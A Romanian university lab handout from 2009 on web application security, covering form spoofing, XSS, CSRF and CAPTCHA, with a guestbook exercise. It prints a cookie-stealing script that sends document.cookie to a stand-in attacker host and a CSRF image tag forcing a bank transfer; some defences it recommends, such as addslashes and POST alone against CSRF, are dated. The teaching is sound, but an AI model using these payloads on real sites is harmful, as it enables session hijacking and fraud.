Responsabil de laborator: Andrei Avram (andrei.avram@gmail.com)

Data postare laborator: 26 aprilie 2009

Data ultimei modificări: 26 aprilie 2009


Laborator 9 – Securitate în aplicații web, continuare


Ca și în laboratorul precedent, recomandăm http://phpsec.org/projects/guide/ ca material bibliografic.


Atacuri ale aplicațiilor web prin injectare de informații în formulare (form spoofing)


Atacurile de tipul Spoofed Form Submissions și Spoofed HTTP Requests se referă la transmiterea unor informații către aplicația web pe care aceasta le presupune verificate în browser-ul web. Prima presupune ca o aplicație să se bazeze, spre exemplu, de faptul că un dropdown menu într-un formular HTML are doar 3 valori posibile. Atunci, un atacator poate să salveze pagina cu formularul HTML, să o editeze într-un editor text în așa fel încât să permită și alte (sau orice) valori, și apoi să o acceseze local (lăsând atributul action nemodicat).


Utilizarea Javascript pe client-side pentru securizare este de asemenea o eroare. O cerere HTTP poate fi modificată și trimisă astfel, trecând în acest fel peste orice verificare la nivel de client-side. Utilizarea Javascript este utilă în formulare HTML, pentru îmbunătățirea experienței utilizatorului, și pentru evitarea trimiterii datelor incomplete către aplicație, dar Javascript nu trebuie folosit (fără o combinație cu un script server – side) pentru securizare.


Astfel, securizarea doar în browser a aplicațiilor web este imposibilă, și informațiile de la browser trebuie întotdeauna testate și filtrate.


Protecția împotriva acestui fel de atacuri se face prin considerarea tuturor cazurilor posibile pentru parametrii, nu doar a acelor cazuri pe care le așteptăm din design-ul formularelor și / sau prin filtrarea tuturor datelor care vin dinspre utilizator.


XSS – Cross Site Scripting


Cross Site Scripting este o metodă de atacare a aplicațiilor web la care sunt vulnerabile multe aplicații OpenSource populare scrise în PHP.


Atacurile Cross Site Scripting exploatează încrederea unui utilizator într-un anumit site (spre exemplu, un utilizator care are încredere într-un anumit site, permite browser-ului să trimită cookie-uri către acel site – varianta default la browserele populare pentru desktop este că aveți încredere în orice site, mai puțin cele cunoscute că ar fi compromise).

Acest tip de atac este aplicabil în general pe aplicații web care afișează conținut extern (feed-uri ..), dar și aplicațiile web care afișează conținut creat de utilizatoru și sunt insuficient protejate.

Astfel, atacul constă în afișarea către un utilizator a unui conținut arbitrar, prin intermediul unui script de pe site-ul aplicației web în care utilizatorul are încredere. Acest conținut poate fi în așa fel ales încât să obțină informații de la utilizatorul curent care pot fi apoi folosite pentru a obține acces în aplicația web folosind identitatea acelui utilizator.

Continutul extern nu este limitat la informații introduse de un utilizator într-un form al aplicației web, el poate fi un email, un feed extern, un post pe un forum.

Daca, spre exemplu, în postarea pe un forum nu ar exista nici un fel de filtrare a datelor, și un atacator ar posta, pe lângă un mesaj “inofensiv” și următorul cod HTML / Javascript

<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

</script>

Scriptul steal_cookies.php ar primi, ca parametru de tip GET toate cookie-urile pentru acel site ale tuturor utilizatorilor care vizualizează în browser acest post din forum. Cookie-urile sunt considerate, în general, o modalitate sigură de păstrare a informațiilor de sesiune, și, deci, un atacator ar avea acces la informațiile de sesiune a tuturor utilizatorilor atacați.

Mai mult, o redirectare în Javascript asemănătoare cu cea de mai sus, în steal_cookies.php ar putea trimite utilizatorul înapoi la forumul compromis, și asfel utilizatorul nici măcar nu și-ar da seama că sesiunea lui a fost compromisă.


Protecția împotriva acestui tip de atac se face prin filtrarea datelor externe. Sunt utile funcții de genul:

string strip_tags ( string $str [, string $allowable_tags ] )

elimită tag-urile HTML dintr-un string


string addslashes ( string $str ) (inversată apoi cu string stripslashes ( string $str ))

adaugă secvențe de escape pentru caracterele cu semnificație specială


string htmlspecialchars ( string $string [, int $quote_style= ENT_COMPAT [, string $charset [, bool $double_encode= true ]]] ) și

string htmlentities ( string $string [, int $quote_style= ENT_COMPAT [, string $charset [, bool $double_encode= true ]]] )

care transformă caractere speciale din HTML în echivalentul lor afișabil în HTML. Spre exemplu, string-ul “<br>Text<strong>ingrosat</strong>” va fi trimis către browser “&lt;br&gt;Text&lt;strong&gt;ingrosat&lt;/strong&gt;, care va fi afișat apoi corect de browser.


CSRF (XSRF) – Cross Site Request Forgery

Atacurile de tip Cross Site Request Forgery se bazează pe încrederea pe care o are o anumită aplicație web într-un utilizator (încrederea fiind exprimată, aici, prin accesul autentificat al unui utilizator la diferite funcționalități ale aplicației web).

E important de înțeles aici că atunci când un browser încarcă o pagină web, el nu face (de cele mai multe ori) doar O cerere HTTP, ci mai multe, în funcție de conținutul paginii. Se face o cerere HTTP diferită pentru ficare script Javascript extern, pentru fiecare imagine, cat si pentru alte fisiere externe (DTD-uri, CSS-uri …).

Astfel, daca un utilizator este autentificat pentru un site, și browser-ul are și folosește cookie-uri pentru menținerea stării de autentificare (fie ca atare, fie prin sesiuni), și utilizatorul accesează un (alt) site compromis (în alt tab, spre exemplu), acel site poate face cereri (prin încărcarea unui fișier extern, specificat printr-un link) către aplicația web la care utilizatorul este autentificat.

Pentru clarificare, să considerăm un utilizator autentificat într-o aplicație de e-banking. Să presupunem chiar că aplicația de e-banking folosește HTTPS pentru securizarea conexiunii între client și server. Acum, utilizatorul mai deschide un tab, și intră pe forum-ul lui preferat de gaming. Unul din post-urile de pe acest forum are un cod de genul:

<img src = 'https://site-ebanking.ro/scripturi/transfera-in-cont.php?suma=50000&cont=CONT_ATACATOR' />

În momentul în care browser-ul face cererea pentru această imagine, de fapt se face o cerere către un script existent de pe server-ul (legitim și necompromis) al aplicației de e-banking. După cum s-a mai discutat, când se face o cerere către un domeniu pentru care s-au primit cookie-uri, acestea sunt transmise automat de browser către server, ceea ce înseamnă că serverul va trimite și informațiile de autentificare (sesiune) împreună cu această cerere, ceea ce înseamnă că, dacă aplicația de e-banking este insuficient protejată, scriptul s-ar rula, ceea ce ar duce, evident, la probleme.

Metode de protecție împotriva XSRF:

Utilizarea POST în loc de GET pentru transmiterea formularelor HTML: după cum s-a mai discutat, metoda GET este considerată safe, ceea ce înseamnă că nu ar trebui să modifice starea aplicației web. Un formular care folosește POST nu poate fi trimis prin tag-uri HTML.

Găsirea unui echilibru între uzabilitate și securitate: aplicațiile web încearcă să fie cât mai simplu de folosit pentru utilizatorii lor, de multe ori în detrimentul securității.

Încurajarea precauției utilizatorilor. Pentru aplicații care necesită securitate, o măsură de protecție a utilizatorilor ar fi navigarea site-urilor cu informații sensibile separat de browsing-ul normal (alt browser, spre exemplu, sau altă instanță de browser în cazul în care instanțele nu partajează informații despre cookie-uri).


Atacuri automate, CATPCHA

Înafara atacurilor care țin de insuficiențe în securitatea unei aplicații web, mai există atacuri care sunt orientate spre oprirea accesului utilizatorilor la aplicație, prin atacuri de tip DoS (Denial of Services), sau orientate către facilitarea spam-ului sau creearea de spam.

Aceste tipuri de atacuri se manifestă într-o varietate de moduri, și protecția împotriva lor de cele mai multe ori constă în asigurarea unui număr suficient de mare de resurse pentru a face față și cererilor suplimentare (malițioase). De menționat, spre exemplu, este că aproximativ 90% din traficul de email din lume este SPAM.

Funcționalități care presupun că un utilizator nu este autentificat, cum ar fi transmiterea unor formulare (spre exemplu, formulare de contact), sau înregistrarea unui utilizator nou, sunt de multe ori ținta atacurilor de trimitere / înregistrare automată.

Pentru a proteja aplicația web de astfel de atacuri, se aplică o soluție cunoscută sub numele de CATPCHA (Completely Automated Turing test to tell Computers and Humans Apart), care cere utilizatorului răspunsul la o întrebare al cărui răspuns se bazează pe abilități de recunoaștere și / sau analiză unice oamenilor.

Spre exemplu, primele teste CATPCHA cereau utilizatorului să recunoască un text dintr-o imagine care a fost prelucrată automat pentru a face recunoașterea automată dificilă sau imposibilă. Majoritatea protecțiilor de acest fel de pe aplicațiile web populare (gMail, yahoo) au fost depășite prin dezvoltarea script-urilor care pot recunoaște caracterele din imagine.

Alte exemple de CATPCHA sunt recunoașterea unui cuvânt vorbit, răspunsul la o întrebare exprimată în limbaj natural (spre exemplu “Cât face 25 împărțit la 5?”).

Există o variantă opensource de CATPCHA, care se numește reCATPCHA (http://recaptcha.net/).

Task-uri

Implementați un guestbook, care să răspundă următoarelor cerințe:


Guestbook-ul trebuie implementat folosind clase (una sau mai multe), și apelat într-un fișier separat.

  1. Protejați Guestbook-ul împotriva atacurilor de tip Form Spoofing și HTTP Spoofing (și SQL Injection). Se va verifica validitatea informațiilor trimise în contextul semanticii lor pentru aplicație (numele să fie plauzibil că e nume, email-ul să fie valid, CNP-ul să fie valid, vârsta să fie un număr întreg, mesajul să existe …) (în fișierul form.htm există un exemplu de formular care poate fi folosit)

    Pentru verificarea unor câmpuri, găsiți funcții gata scrise în clasa Validator. Pentru restul câmpurilor, scrieți funcții de validare. 5p

  2. Verificați daca Guestbook-ul vostru este vulnerabil XSS (și prezentați un exemplu de vulnerabilitate). Protejați Guestbook-ul împotriva atacurilor de tip XSS. 2.5p

  3. Verificați dacă Guestbook-ul vostru este vulnerabil XSRF (și construiți un exemplu de atac XSRF, dacă se poate. Atacul vostru ar trebui să încerce adăugarea de informații în baza de date prin introducerea unui tag img într-o pagina HTML, ca în exemplul de mai sus). Protejați Guestbook-ul împotriva atacurilor de tip XSRF. 2.5p